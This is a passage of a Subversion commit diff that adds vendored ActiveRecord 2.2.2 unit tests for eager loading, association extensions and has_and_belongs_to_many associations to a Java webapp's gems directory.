+      Author.find(:all, :include => :hello_posts_with_hash_conditions)
+    end
+    assert !Author.find(authors(:david).id, :include => :hello_posts_with_hash_conditions).hello_posts.empty?
+  end
+
+  def test_loading_with_no_associations
+    assert_nil Post.find(posts(:authorless).id, :include => :author).author
+  end
+
+  def test_nested_loading_with_no_associations
+    assert_nothing_raised do
+      Post.find(posts(:authorless).id, :include => {:author => :author_addresss})
+    end
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_foreign_keys
+    pets = Pet.find(:all, :include => :owner)
+    assert_equal 3, pets.length
+  end
+
+  def test_eager_association_loading_with_belongs_to
+    comments = Comment.find(:all, :include => :post)
+    assert_equal 10, comments.length
+    titles = comments.map { |c| c.post.title }
+    assert titles.include?(posts(:welcome).title)
+    assert titles.include?(posts(:sti_post_and_comments).title)
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_limit
+    comments = Comment.find(:all, :include => :post, :limit => 5, :order => 'comments.id')
+    assert_equal 5, comments.length
+    assert_equal [1,2,3,5,6], comments.collect { |c| c.id }
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_limit_and_conditions
+    comments = Comment.find(:all, :include => :post, :conditions => 'post_id = 4', :limit => 3, :order => 'comments.id')
+    assert_equal 3, comments.length
+    assert_equal [5,6,7], comments.collect { |c| c.id }
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_limit_and_offset
+    comments = Comment.find(:all, :include => :post, :limit => 3, :offset => 2, :order => 'comments.id')
+    assert_equal 3, comments.length
+    assert_equal [3,5,6], comments.collect { |c| c.id }
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_conditions
+    comments = Comment.find(:all, :include => :post, :conditions => 'post_id = 4', :limit => 3, :offset => 1, :order => 'comments.id')
+    assert_equal 3, comments.length
+    assert_equal [6,7,8], comments.collect { |c| c.id }
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_conditions_array
+    comments = Comment.find(:all, :include => :post, :conditions => ['post_id = ?',4], :limit => 3, :offset => 1, :order => 'comments.id')
+    assert_equal 3, comments.length
+    assert_equal [6,7,8], comments.collect { |c| c.id }
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_conditions_string_with_unquoted_table_name
+    assert_nothing_raised do
+      Comment.find(:all, :include => :post, :conditions => ['posts.id = ?',4])
+    end
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_conditions_string_with_quoted_table_name
+    quoted_posts_id= Comment.connection.quote_table_name('posts') + '.' + Comment.connection.quote_column_name('id')
+    assert_nothing_raised do
+      Comment.find(:all, :include => :post, :conditions => ["#{quoted_posts_id} = ?",4])
+    end
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_order_string_with_unquoted_table_name
+    assert_nothing_raised do
+      Comment.find(:all, :include => :post, :order => 'posts.id')
+    end
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_order_string_with_quoted_table_name
+    quoted_posts_id= Comment.connection.quote_table_name('posts') + '.' + Comment.connection.quote_column_name('id')
+    assert_nothing_raised do
+      Comment.find(:all, :include => :post, :order => quoted_posts_id)
+    end
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_limit_and_multiple_associations
+    posts = Post.find(:all, :include => [:author, :very_special_comment], :limit => 1, :order => 'posts.id')
+    assert_equal 1, posts.length
+    assert_equal [1], posts.collect { |p| p.id }
+  end
+
+  def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_multiple_associations
+    posts = Post.find(:all, :include => [:author, :very_special_comment], :limit => 1, :offset => 1, :order => 'posts.id')
+    assert_equal 1, posts.length
+    assert_equal [2], posts.collect { |p| p.id }
+  end
+
+  def test_eager_association_loading_with_belongs_to_inferred_foreign_key_from_association_name
+    author_favorite = AuthorFavorite.find(:first, :include => :favorite_author)
+    assert_equal authors(:mary), assert_no_queries { author_favorite.favorite_author }
+  end
+
+  def test_eager_load_belongs_to_quotes_table_and_column_names
+    job = Job.find jobs(:unicyclist).id, :include => :ideal_reference
+    references(:michael_unicyclist)
+    assert_no_queries{ assert_equal references(:michael_unicyclist), job.ideal_reference}
+  end
+
+  def test_eager_load_has_one_quotes_table_and_column_names
+    michael = Person.find(people(:michael), :include => :favourite_reference)
+    references(:michael_unicyclist)
+    assert_no_queries{ assert_equal references(:michael_unicyclist), michael.favourite_reference}
+  end
+
+  def test_eager_load_has_many_quotes_table_and_column_names
+    michael = Person.find(people(:michael), :include => :references)
+    references(:michael_magician,:michael_unicyclist)
+    assert_no_queries{ assert_equal references(:michael_magician,:michael_unicyclist), michael.references.sort_by(&:id) }
+  end
+
+  def test_eager_load_has_many_through_quotes_table_and_column_names
+    michael = Person.find(people(:michael), :include => :jobs)
+    jobs(:magician, :unicyclist)
+    assert_no_queries{ assert_equal jobs(:unicyclist, :magician), michael.jobs.sort_by(&:id) }
+  end
+
+  def test_eager_load_has_many_with_string_keys
+    subscriptions = subscriptions(:webster_awdr, :webster_rfr)
+    subscriber =Subscriber.find(subscribers(:second).id, :include => :subscriptions)
+    assert_equal subscriptions, subscriber.subscriptions.sort_by(&:id)
+  end
+  
+  def test_eager_load_has_many_through_with_string_keys
+    books = books(:awdr, :rfr)
+    subscriber = Subscriber.find(subscribers(:second).id, :include => :books)
+    assert_equal books, subscriber.books.sort_by(&:id)
+  end
+  
+  def test_eager_load_belongs_to_with_string_keys
+    subscriber = subscribers(:second)
+    subscription = Subscription.find(subscriptions(:webster_awdr).id, :include => :subscriber)
+    assert_equal subscriber, subscription.subscriber
+  end
+
+  def test_eager_association_loading_with_explicit_join
+    posts = Post.find(:all, :include => :comments, :joins => "INNER JOIN authors ON posts.author_id = authors.id AND authors.name = 'Mary'", :limit => 1, :order => 'author_id')
+    assert_equal 1, posts.length
+  end
+
+  def test_eager_with_has_many_through
+    posts_with_comments = people(:michael).posts.find(:all, :include => :comments, :order => 'posts.id')
+    posts_with_author = people(:michael).posts.find(:all, :include => :author, :order => 'posts.id')
+    posts_with_comments_and_author = people(:michael).posts.find(:all, :include => [ :comments, :author ], :order => 'posts.id')
+    assert_equal 2, posts_with_comments.inject(0) { |sum, post| sum += post.comments.size }
+    assert_equal authors(:david), assert_no_queries { posts_with_author.first.author }
+    assert_equal authors(:david), assert_no_queries { posts_with_comments_and_author.first.author }
+  end
+
+  def test_eager_with_has_many_through_a_belongs_to_association
+    author = authors(:mary)
+    post = Post.create!(:author => author, :title => "TITLE", :body => "BODY")
+    author.author_favorites.create(:favorite_author_id => 1)
+    author.author_favorites.create(:favorite_author_id => 2)
+    posts_with_author_favorites = author.posts.find(:all, :include => :author_favorites)
+    assert_no_queries { posts_with_author_favorites.first.author_favorites.first.author_id }
+  end
+
+  def test_eager_with_has_many_through_an_sti_join_model
+    author = Author.find(:first, :include => :special_post_comments, :order => 'authors.id')
+    assert_equal [comments(:does_it_hurt)], assert_no_queries { author.special_post_comments }
+  end
+
+  def test_eager_with_has_many_through_an_sti_join_model_with_conditions_on_both
+    author = Author.find(:first, :include => :special_nonexistant_post_comments, :order => 'authors.id')
+    assert_equal [], author.special_nonexistant_post_comments
+  end
+
+  def test_eager_with_has_many_through_join_model_with_conditions
+    assert_equal Author.find(:first, :include => :hello_post_comments,
+                             :order => 'authors.id').hello_post_comments.sort_by(&:id),
+                 Author.find(:first, :order => 'authors.id').hello_post_comments.sort_by(&:id)
+  end
+
+  def test_eager_with_has_many_through_join_model_with_conditions_on_top_level
+    assert_equal comments(:more_greetings), Author.find(authors(:david).id, :include => :comments_with_order_and_conditions).comments_with_order_and_conditions.first
+  end
+
+  def test_eager_with_has_many_through_join_model_with_include
+    author_comments = Author.find(authors(:david).id, :include => :comments_with_include).comments_with_include.to_a
+    assert_no_queries do
+      author_comments.first.post.title
+    end
+  end
+
+  def test_eager_with_has_many_and_limit
+    posts = Post.find(:all, :order => 'posts.id asc', :include => [ :author, :comments ], :limit => 2)
+    assert_equal 2, posts.size
+    assert_equal 3, posts.inject(0) { |sum, post| sum += post.comments.size }
+  end
+
+  def test_eager_with_has_many_and_limit_and_conditions
+    if current_adapter?(:OpenBaseAdapter)
+      posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :conditions => "FETCHBLOB(posts.body) = 'hello'", :order => "posts.id")
+    else
+      posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :conditions => "posts.body = 'hello'", :order => "posts.id")
+    end
+    assert_equal 2, posts.size
+    assert_equal [4,5], posts.collect { |p| p.id }
+  end
+
+  def test_eager_with_has_many_and_limit_and_conditions_array
+    if current_adapter?(:OpenBaseAdapter)
+      posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :conditions => [ "FETCHBLOB(posts.body) = ?", 'hello' ], :order => "posts.id")
+    else
+      posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :conditions => [ "posts.body = ?", 'hello' ], :order => "posts.id")
+    end
+    assert_equal 2, posts.size
+    assert_equal [4,5], posts.collect { |p| p.id }
+  end
+
+  def test_eager_with_has_many_and_limit_and_conditions_array_on_the_eagers
+    posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :conditions => [ "authors.name = ?", 'David' ])
+    assert_equal 2, posts.size
+
+    count = Post.count(:include => [ :author, :comments ], :limit => 2, :conditions => [ "authors.name = ?", 'David' ])
+    assert_equal count, posts.size
+  end
+
+  def test_eager_with_has_many_and_limit_ond_high_offset
+    posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :offset => 10, :conditions => [ "authors.name = ?", 'David' ])
+    assert_equal 0, posts.size
+  end
+
+  def test_count_eager_with_has_many_and_limit_ond_high_offset
+    posts = Post.count(:all, :include => [ :author, :comments ], :limit => 2, :offset => 10, :conditions => [ "authors.name = ?", 'David' ])
+    assert_equal 0, posts
+  end
+
+  def test_eager_with_has_many_and_limit_with_no_results
+    posts = Post.find(:all, :include => [ :author, :comments ], :limit => 2, :conditions => "posts.title = 'magic forest'")
+    assert_equal 0, posts.size
+  end
+
+  def test_eager_count_performed_on_a_has_many_association_with_multi_table_conditional
+    author = authors(:david)
+    author_posts_without_comments = author.posts.select { |post| post.comments.blank? }
+    assert_equal author_posts_without_comments.size, author.posts.count(:all, :include => :comments, :conditions => 'comments.id is null')
+  end
+  
+  def test_eager_count_performed_on_a_has_many_through_association_with_multi_table_conditional
+    person = people(:michael)
+    person_posts_without_comments = person.posts.select { |post| post.comments.blank? }
+    assert_equal person_posts_without_comments.size, person.posts_with_no_comments.count
+  end
+
+  def test_eager_with_has_and_belongs_to_many_and_limit
+    posts = Post.find(:all, :include => :categories, :order => "posts.id", :limit => 3)
+    assert_equal 3, posts.size
+    assert_equal 2, posts[0].categories.size
+    assert_equal 1, posts[1].categories.size
+    assert_equal 0, posts[2].categories.size
+    assert posts[0].categories.include?(categories(:technology))
+    assert posts[1].categories.include?(categories(:general))
+  end
+
+  def test_eager_with_has_many_and_limit_and_conditions_on_the_eagers
+    posts = authors(:david).posts.find(:all,
+      :include    => :comments,
+      :conditions => "comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment'",
+      :limit      => 2
+    )
+    assert_equal 2, posts.size
+
+    count = Post.count(
+      :include    => [ :comments, :author ],
+      :conditions => "authors.name = 'David' AND (comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment')",
+      :limit      => 2
+    )
+    assert_equal count, posts.size
+  end
+
+  def test_eager_with_has_many_and_limit_and_scoped_conditions_on_the_eagers
+    posts = nil
+    Post.with_scope(:find => {
+      :include    => :comments,
+      :conditions => "comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment'"
+    }) do
+      posts = authors(:david).posts.find(:all, :limit => 2)
+      assert_equal 2, posts.size
+    end
+
+    Post.with_scope(:find => {
+      :include    => [ :comments, :author ],
+      :conditions => "authors.name = 'David' AND (comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment')"
+    }) do
+      count = Post.count(:limit => 2)
+      assert_equal count, posts.size
+    end
+  end
+
+  def test_eager_with_has_many_and_limit_and_scoped_and_explicit_conditions_on_the_eagers
+    Post.with_scope(:find => { :conditions => "1=1" }) do
+      posts = authors(:david).posts.find(:all,
+        :include    => :comments,
+        :conditions => "comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment'",
+        :limit      => 2
+      )
+      assert_equal 2, posts.size
+
+      count = Post.count(
+        :include    => [ :comments, :author ],
+        :conditions => "authors.name = 'David' AND (comments.body like 'Normal%' OR comments.#{QUOTED_TYPE}= 'SpecialComment')",
+        :limit      => 2
+      )
+      assert_equal count, posts.size
+    end
+  end
+
+  def test_eager_with_scoped_order_using_association_limiting_without_explicit_scope
+    posts_with_explicit_order = Post.find(:all, :conditions => 'comments.id is not null', :include => :comments, :order => 'posts.id DESC', :limit => 2)
+    posts_with_scoped_order = Post.with_scope(:find => {:order => 'posts.id DESC'}) do
+      Post.find(:all, :conditions => 'comments.id is not null', :include => :comments, :limit => 2)
+    end
+    assert_equal posts_with_explicit_order, posts_with_scoped_order
+  end
+
+  def test_eager_association_loading_with_habtm
+    posts = Post.find(:all, :include => :categories, :order => "posts.id")
+    assert_equal 2, posts[0].categories.size
+    assert_equal 1, posts[1].categories.size
+    assert_equal 0, posts[2].categories.size
+    assert posts[0].categories.include?(categories(:technology))
+    assert posts[1].categories.include?(categories(:general))
+  end
+
+  def test_eager_with_inheritance
+    posts = SpecialPost.find(:all, :include => [ :comments ])
+  end
+
+  def test_eager_has_one_with_association_inheritance
+    post = Post.find(4, :include => [ :very_special_comment ])
+    assert_equal "VerySpecialComment", post.very_special_comment.class.to_s
+  end
+
+  def test_eager_has_many_with_association_inheritance
+    post = Post.find(4, :include => [ :special_comments ])
+    post.special_comments.each do |special_comment|
+      assert_equal "SpecialComment", special_comment.class.to_s
+    end
+  end
+
+  def test_eager_habtm_with_association_inheritance
+    post = Post.find(6, :include => [ :special_categories ])
+    assert_equal 1, post.special_categories.size
+    post.special_categories.each do |special_category|
+      assert_equal "SpecialCategory", special_category.class.to_s
+    end
+  end
+
+  def test_eager_with_has_one_dependent_does_not_destroy_dependent
+    assert_not_nil companies(:first_firm).account
+    f = Firm.find(:first, :include => :account,
+            :conditions => ["companies.name = ?", "37signals"])
+    assert_not_nil f.account
+    assert_equal companies(:first_firm, :reload).account, f.account
+  end
+
+  def test_eager_with_multi_table_conditional_properly_counts_the_records_when_using_size
+    author = authors(:david)
+    posts_with_no_comments = author.posts.select { |post| post.comments.blank? }
+    assert_equal posts_with_no_comments.size, author.posts_with_no_comments.size
+    assert_equal posts_with_no_comments, author.posts_with_no_comments
+  end
+
+  def test_eager_with_invalid_association_reference
+    assert_raises(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
+      post = Post.find(6, :include=> :monkeys )
+    }
+    assert_raises(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
+      post = Post.find(6, :include=>[ :monkeys ])
+    }
+    assert_raises(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys") {
+      post = Post.find(6, :include=>[ 'monkeys' ])
+    }
+    assert_raises(ActiveRecord::ConfigurationError, "Association was not found; perhaps you misspelled it?  You specified :include => :monkeys, :elephants") {
+      post = Post.find(6, :include=>[ :monkeys, :elephants ])
+    }
+  end
+
+  def find_all_ordered(className, include=nil)
+    className.find(:all, :order=>"#{className.table_name}.#{className.primary_key}", :include=>include)
+  end
+
+  def test_limited_eager_with_order
+    assert_equal posts(:thinking, :sti_comments), Post.find(:all, :include => [:author, :comments], :conditions => "authors.name = 'David'", :order => 'UPPER(posts.title)', :limit => 2, :offset => 1)
+    assert_equal posts(:sti_post_and_comments, :sti_comments), Post.find(:all, :include => [:author, :comments], :conditions => "authors.name = 'David'", :order => 'UPPER(posts.title) DESC', :limit => 2, :offset => 1)
+  end
+
+  def test_limited_eager_with_multiple_order_columns
+    assert_equal posts(:thinking, :sti_comments), Post.find(:all, :include => [:author, :comments], :conditions => "authors.name = 'David'", :order => 'UPPER(posts.title), posts.id', :limit => 2, :offset => 1)
+    assert_equal posts(:sti_post_and_comments, :sti_comments), Post.find(:all, :include => [:author, :comments], :conditions => "authors.name = 'David'", :order => 'UPPER(posts.title) DESC, posts.id', :limit => 2, :offset => 1)
+  end
+
+  def test_preload_with_interpolation
+    assert_equal [comments(:greetings)], Post.find(posts(:welcome).id, :include => :comments_with_interpolated_conditions).comments_with_interpolated_conditions
+  end
+
+  def test_polymorphic_type_condition
+    post = Post.find(posts(:thinking).id, :include => :taggings)
+    assert post.taggings.include?(taggings(:thinking_general))
+    post = SpecialPost.find(posts(:thinking).id, :include => :taggings)
+    assert post.taggings.include?(taggings(:thinking_general))
+  end
+
+  def test_eager_with_multiple_associations_with_same_table_has_many_and_habtm
+    # Eager includes of has many and habtm associations aren't necessarily sorted in the same way
+    def assert_equal_after_sort(item1, item2, item3 = nil)
+      assert_equal(item1.sort{|a,b| a.id <=> b.id}, item2.sort{|a,b| a.id <=> b.id})
+      assert_equal(item3.sort{|a,b| a.id <=> b.id}, item2.sort{|a,b| a.id <=> b.id}) if item3
+    end
+    # Test regular association, association with conditions, association with
+    # STI, and association with conditions assured not to be true
+    post_types = [:posts, :other_posts, :special_posts]
+    # test both has_many and has_and_belongs_to_many
+    [Author, Category].each do |className|
+      d1 = find_all_ordered(className)
+      # test including all post types at once
+      d2 = find_all_ordered(className, post_types)
+      d1.each_index do |i|
+        assert_equal(d1[i], d2[i])
+        assert_equal_after_sort(d1[i].posts, d2[i].posts)
+        post_types[1..-1].each do |post_type|
+          # test including post_types together
+          d3 = find_all_ordered(className, [:posts, post_type])
+          assert_equal(d1[i], d3[i])
+          assert_equal_after_sort(d1[i].posts, d3[i].posts)
+          assert_equal_after_sort(d1[i].send(post_type), d2[i].send(post_type), d3[i].send(post_type))
+        end
+      end
+    end
+  end
+
+  def test_eager_with_multiple_associations_with_same_table_has_one
+    d1 = find_all_ordered(Firm)
+    d2 = find_all_ordered(Firm, :account)
+    d1.each_index do |i|
+      assert_equal(d1[i], d2[i])
+      assert_equal(d1[i].account, d2[i].account)
+    end
+  end
+
+  def test_eager_with_multiple_associations_with_same_table_belongs_to
+    firm_types = [:firm, :firm_with_basic_id, :firm_with_other_name, :firm_with_condition]
+    d1 = find_all_ordered(Client)
+    d2 = find_all_ordered(Client, firm_types)
+    d1.each_index do |i|
+      assert_equal(d1[i], d2[i])
+      firm_types.each { |type| assert_equal(d1[i].send(type), d2[i].send(type)) }
+    end
+  end
+  def test_eager_with_valid_association_as_string_not_symbol
+    assert_nothing_raised { Post.find(:all, :include => 'comments') }
+  end
+
+  def test_eager_with_floating_point_numbers
+    assert_queries(2) do
+      # Before changes, the floating point numbers will be interpreted as table names and will cause this to run in one query
+      Comment.find :all, :conditions => "123.456 = 123.456", :include => :post
+    end
+  end
+
+  def test_preconfigured_includes_with_belongs_to
+    author = posts(:welcome).author_with_posts
+    assert_no_queries {assert_equal 5, author.posts.size}
+  end
+
+  def test_preconfigured_includes_with_has_one
+    comment = posts(:sti_comments).very_special_comment_with_post
+    assert_no_queries {assert_equal posts(:sti_comments), comment.post}
+  end
+
+  def test_preconfigured_includes_with_has_many
+    posts = authors(:david).posts_with_comments
+    one = posts.detect { |p| p.id == 1 }
+    assert_no_queries do
+      assert_equal 5, posts.size
+      assert_equal 2, one.comments.size
+    end
+  end
+
+  def test_preconfigured_includes_with_habtm
+    posts = authors(:david).posts_with_categories
+    one = posts.detect { |p| p.id == 1 }
+    assert_no_queries do
+      assert_equal 5, posts.size
+      assert_equal 2, one.categories.size
+    end
+  end
+
+  def test_preconfigured_includes_with_has_many_and_habtm
+    posts = authors(:david).posts_with_comments_and_categories
+    one = posts.detect { |p| p.id == 1 }
+    assert_no_queries do
+      assert_equal 5, posts.size
+      assert_equal 2, one.comments.size
+      assert_equal 2, one.categories.size
+    end
+  end
+
+  def test_count_with_include
+    if current_adapter?(:SybaseAdapter)
+      assert_equal 3, authors(:david).posts_with_comments.count(:conditions => "len(comments.body) > 15")
+    elsif current_adapter?(:OpenBaseAdapter)
+      assert_equal 3, authors(:david).posts_with_comments.count(:conditions => "length(FETCHBLOB(comments.body)) > 15")
+    else
+      assert_equal 3, authors(:david).posts_with_comments.count(:conditions => "length(comments.body) > 15")
+    end
+  end
+
+  def test_load_with_sti_sharing_association
+    assert_queries(2) do #should not do 1 query per subclass
+      Comment.find :all, :include => :post
+    end
+  end
+
+  def test_conditions_on_join_table_with_include_and_limit
+    assert_equal 3, Developer.find(:all, :include => 'projects', :conditions => 'developers_projects.access_level = 1', :limit => 5).size
+  end
+
+  def test_order_on_join_table_with_include_and_limit
+    assert_equal 5, Developer.find(:all, :include => 'projects', :order => 'developers_projects.joined_on DESC', :limit => 5).size
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/extension_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/extension_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/extension_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,62 @@
+require "cases/helper"
+require 'models/post'
+require 'models/comment'
+require 'models/project'
+require 'models/developer'
+require 'models/company_in_module'
+
+class AssociationsExtensionsTest < ActiveRecord::TestCase
+  fixtures :projects, :developers, :developers_projects, :comments, :posts
+
+  def test_extension_on_has_many
+    assert_equal comments(:more_greetings), posts(:welcome).comments.find_most_recent
+  end
+
+  def test_extension_on_habtm
+    assert_equal projects(:action_controller), developers(:david).projects.find_most_recent
+  end
+
+  def test_named_extension_on_habtm
+    assert_equal projects(:action_controller), developers(:david).projects_extended_by_name.find_most_recent
+  end
+
+  def test_named_two_extensions_on_habtm
+    assert_equal projects(:action_controller), developers(:david).projects_extended_by_name_twice.find_most_recent
+    assert_equal projects(:active_record), developers(:david).projects_extended_by_name_twice.find_least_recent
+  end
+
+  def test_named_extension_and_block_on_habtm
+    assert_equal projects(:action_controller), developers(:david).projects_extended_by_name_and_block.find_most_recent
+    assert_equal projects(:active_record), developers(:david).projects_extended_by_name_and_block.find_least_recent
+  end
+
+  def test_marshalling_extensions
+    david = developers(:david)
+    assert_equal projects(:action_controller), david.projects.find_most_recent
+
+    david = Marshal.load(Marshal.dump(david))
+    assert_equal projects(:action_controller), david.projects.find_most_recent
+  end
+
+  def test_marshalling_named_extensions
+    david = developers(:david)
+    assert_equal projects(:action_controller), david.projects_extended_by_name.find_most_recent
+
+    david = Marshal.load(Marshal.dump(david))
+    assert_equal projects(:action_controller), david.projects_extended_by_name.find_most_recent
+  end
+
+
+	def test_extension_name
+	  extension = Proc.new {}
+	  name = :association_name
+
+	  assert_equal 'DeveloperAssociationNameAssociationExtension', Developer.send(:create_extension_modules, name, extension, []).first.name
+	  assert_equal 'MyApplication::Business::DeveloperAssociationNameAssociationExtension',
+MyApplication::Business::Developer.send(:create_extension_modules, name, extension, []).first.name
+    assert_equal 'MyApplication::Business::DeveloperAssociationNameAssociationExtension', MyApplication::Business::Developer.send(:create_extension_modules, name, extension, []).first.name
+    assert_equal 'MyApplication::Business::DeveloperAssociationNameAssociationExtension', MyApplication::Business::Developer.send(:create_extension_modules, name, extension, []).first.name
+  end
+
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/has_and_belongs_to_many_associations_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/has_and_belongs_to_many_associations_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/associations/has_and_belongs_to_many_associations_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,773 @@
+require "cases/helper"
+require 'models/developer'
+require 'models/project'
+require 'models/company'
+require 'models/topic'
+require 'models/reply'
+require 'models/computer'
+require 'models/customer'
+require 'models/order'
+require 'models/categorization'
+require 'models/category'
+require 'models/post'
+require 'models/author'
+require 'models/comment'
+require 'models/tag'
+require 'models/tagging'
+require 'models/person'
+require 'models/reader'
+require 'models/parrot'
+require 'models/pirate'
+require 'models/treasure'
+require 'models/price_estimate'
+require 'models/club'
+require 'models/member'
+require 'models/membership'
+require 'models/sponsor'
+
+class ProjectWithAfterCreateHook < ActiveRecord::Base
+  set_table_name 'projects'
+  has_and_belongs_to_many :developers,
+    :class_name => "DeveloperForProjectWithAfterCreateHook",
+    :join_table => "developers_projects",
+    :foreign_key => "project_id",
+    :association_foreign_key => "developer_id"
+
+  after_create :add_david
+
+  def add_david
+    david = DeveloperForProjectWithAfterCreateHook.find_by_name('David')
+    david.projects << self
+  end
+end
+
+class DeveloperForProjectWithAfterCreateHook < ActiveRecord::Base
+  set_table_name 'developers'
+  has_and_belongs_to_many :projects,
+    :class_name => "ProjectWithAfterCreateHook",
+    :join_table => "developers_projects",
+    :association_foreign_key => "project_id",
+    :foreign_key => "developer_id"
+end
+
+class ProjectWithSymbolsForKeys < ActiveRecord::Base
+  set_table_name 'projects'
+  has_and_belongs_to_many :developers,
+    :class_name => "DeveloperWithSymbolsForKeys",
+    :join_table => :developers_projects,
+    :foreign_key => :project_id,
+    :association_foreign_key => "developer_id"
+end
+
+class DeveloperWithSymbolsForKeys < ActiveRecord::Base
+  set_table_name 'developers'
+  has_and_belongs_to_many :projects,
+    :class_name => "ProjectWithSymbolsForKeys",
+    :join_table => :developers_projects,
+    :association_foreign_key => :project_id,
+    :foreign_key => "developer_id"
+end
+
+class DeveloperWithCounterSQL < ActiveRecord::Base
+  set_table_name 'developers'
+  has_and_belongs_to_many :projects,
+    :class_name => "DeveloperWithCounterSQL",
+    :join_table => "developers_projects",
+    :association_foreign_key => "project_id",
+    :foreign_key => "developer_id",
+    :counter_sql => 'SELECT COUNT(*) AS count_all FROM projects INNER JOIN developers_projects ON projects.id = developers_projects.project_id WHERE developers_projects.developer_id =#{id}'
+end
+
+class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
+  fixtures :accounts, :companies, :categories, :posts, :categories_posts, :developers, :projects, :developers_projects,
+           :parrots, :pirates, :treasures, :price_estimates, :tags, :taggings
+
+  def test_has_and_belongs_to_many
+    david = Developer.find(1)
+
+    assert !david.projects.empty?
+    assert_equal 2, david.projects.size
+
+    active_record = Project.find(1)
+    assert !active_record.developers.empty?
+    assert_equal 3, active_record.developers.size
+    assert active_record.developers.include?(david)
+  end
+
+  def test_triple_equality
+    assert !(Array === Developer.find(1).projects)
+    assert Developer.find(1).projects === Array
+  end
+
+  def test_adding_single
+    jamis = Developer.find(2)
+    jamis.projects.reload # causing the collection to load
+    action_controller = Project.find(2)
+    assert_equal 1, jamis.projects.size
+    assert_equal 1, action_controller.developers.size
+
+    jamis.projects << action_controller
+
+    assert_equal 2, jamis.projects.size
+    assert_equal 2, jamis.projects(true).size
+    assert_equal 2, action_controller.developers(true).size
+  end
+
+  def test_adding_type_mismatch
+    jamis = Developer.find(2)
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { jamis.projects << nil }
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { jamis.projects << 1 }
+  end
+
+  def test_adding_from_the_project
+    jamis = Developer.find(2)
+    action_controller = Project.find(2)
+    action_controller.developers.reload
+    assert_equal 1, jamis.projects.size
+    assert_equal 1, action_controller.developers.size
+
+    action_controller.developers << jamis
+
+    assert_equal 2, jamis.projects(true).size
+    assert_equal 2, action_controller.developers.size
+    assert_equal 2, action_controller.developers(true).size
+  end
+
+  def test_adding_from_the_project_fixed_timestamp
+    jamis = Developer.find(2)
+    action_controller = Project.find(2)
+    action_controller.developers.reload
+    assert_equal 1, jamis.projects.size
+    assert_equal 1, action_controller.developers.size
+    updated_at = jamis.updated_at
+
+    action_controller.developers << jamis
+
+    assert_equal updated_at, jamis.updated_at
+    assert_equal 2, jamis.projects(true).size
+    assert_equal 2, action_controller.developers.size
+    assert_equal 2, action_controller.developers(true).size
+  end
+
+  def test_adding_multiple
+    aredridel = Developer.new("name" => "Aredridel")
+    aredridel.save
+    aredridel.projects.reload
+    aredridel.projects.push(Project.find(1), Project.find(2))
+    assert_equal 2, aredridel.projects.size
+    assert_equal 2, aredridel.projects(true).size
+  end
+
+  def test_adding_a_collection
+    aredridel = Developer.new("name" => "Aredridel")
+    aredridel.save
+    aredridel.projects.reload
+    aredridel.projects.concat([Project.find(1), Project.find(2)])
+    assert_equal 2, aredridel.projects.size
+    assert_equal 2, aredridel.projects(true).size
+  end
+
+  def test_adding_uses_default_values_on_join_table
+    ac = projects(:action_controller)
+    assert !developers(:jamis).projects.include?(ac)
+    developers(:jamis).projects << ac
+
+    assert developers(:jamis, :reload).projects.include?(ac)
+    project = developers(:jamis).projects.detect { |p| p == ac }
+    assert_equal 1, project.access_level.to_i
+  end
+
+  def test_habtm_attribute_access_and_respond_to
+    project = developers(:jamis).projects[0]
+    assert project.has_attribute?("name")
+    assert project.has_attribute?("joined_on")
+    assert project.has_attribute?("access_level")
+    assert project.respond_to?("name")
+    assert project.respond_to?("name=")
+    assert project.respond_to?("name?")
+    assert project.respond_to?("joined_on")
+    # given that the 'join attribute' won't be persisted, I don't
+    # think we should define the mutators
+    #assert project.respond_to?("joined_on=")
+    assert project.respond_to?("joined_on?")
+    assert project.respond_to?("access_level")
+    #assert project.respond_to?("access_level=")
+    assert project.respond_to?("access_level?")
+  end
+
+  def test_habtm_adding_before_save
+    no_of_devels = Developer.count
+    no_of_projects = Project.count
+    aredridel = Developer.new("name" => "Aredridel")
